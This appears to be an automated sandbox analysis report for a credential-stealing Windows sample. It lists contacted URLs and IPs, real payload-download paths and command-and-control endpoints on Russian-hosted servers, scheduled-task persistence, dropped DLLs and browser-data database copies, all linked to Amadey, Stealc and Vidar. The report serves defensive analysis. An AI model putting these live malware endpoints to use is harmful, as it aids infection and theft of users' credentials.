https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exeData	file.exe, 00000000.00000002.1829921422.000000000080A000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 00000008.00000002.4114207813.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php$	explorti.exe, 00000008.00000002.4114207813.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe00	file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exea	file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1707237367.0000000022FFD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4	file.exe, 00000000.00000002.1833532825.0000000001AFE000.00000004.00000020.00020000.00000000.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dllGy	file.exe, 00000000.00000002.1833532825.0000000001B38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	false	URL Reputation: safe	unknown
http://pki-ocsp.symauth.com0	file.exe, random[1].exe.8.dr, 19a0b0f0ae.exe.8.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exerlencoded	explorti.exe, 00000008.00000002.4114207813.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4s	19a0b0f0ae.exe, 0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466121
Start date and time:	2024-07-02 15:25:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/29@0/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 19a0b0f0ae.exe, PID 7640 because it is empty
Execution Graph export aborted for target GCGCBAECFC.exe, PID 7780 because it is empty
Execution Graph export aborted for target explorti.exe, PID 7208 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:26:23	API Interceptor	12030757x Sleep call for process: explorti.exe modified
14:26:21	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.81/stealc/random.exe
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/stealc/random.exe
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
85.28.47.4	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4/920475a59bac849d.php
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/69934896f997d5bb/sqlite3.dll
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	https://drive.google.com/file/d/136ovnD62cwekGHQcz2rdHGNitd3tUNck/view?usp=sharing_eip_m&ts=6682d44d	Get hash	malicious	Unknown	Browse	77.91.77.5
	https://drive.google.com/file/d/1D-RSHnHV853uproVdm_FqLilvp6WEgCv/view?ts=6682d412	Get hash	malicious	Unknown	Browse	77.91.77.5
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.80
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
GES-ASRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	85.28.47.7
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	https://drive.google.com/file/d/136ovnD62cwekGHQcz2rdHGNitd3tUNck/view?usp=sharing_eip_m&ts=6682d44d	Get hash	malicious	Unknown	Browse	77.91.77.5
	https://drive.google.com/file/d/1D-RSHnHV853uproVdm_FqLilvp6WEgCv/view?ts=6682d412	Get hash	malicious	Unknown	Browse	77.91.77.5
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.80
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.82

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	i3NmF0obCm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	i3NmF0obCm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHDHJKKJDHJJJJKEGHIDGDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDHCGHDHIDHCBGCBGCAEBAKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHIDHIEGIIIECAKEBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDGIJJDGCBKFIDHIEBKECGIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEBFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECFHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJKKJJDAAAAAKFHJJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe, Detection: malicious, Browse Filename: i3NmF0obCm.exe, Detection: malicious, Browse Filename: Wf9qnVcbi8.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: 1719859269.0326595_setup.exe, Detection: malicious, Browse Filename: jlO7971vUz.exe, Detection: malicious, Browse Filename: Rnteb46TuM.exe, Detection: malicious, Browse Filename: 1jPL5zru3u.exe, Detection: malicious, Browse Filename: Zachv5lCuu.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
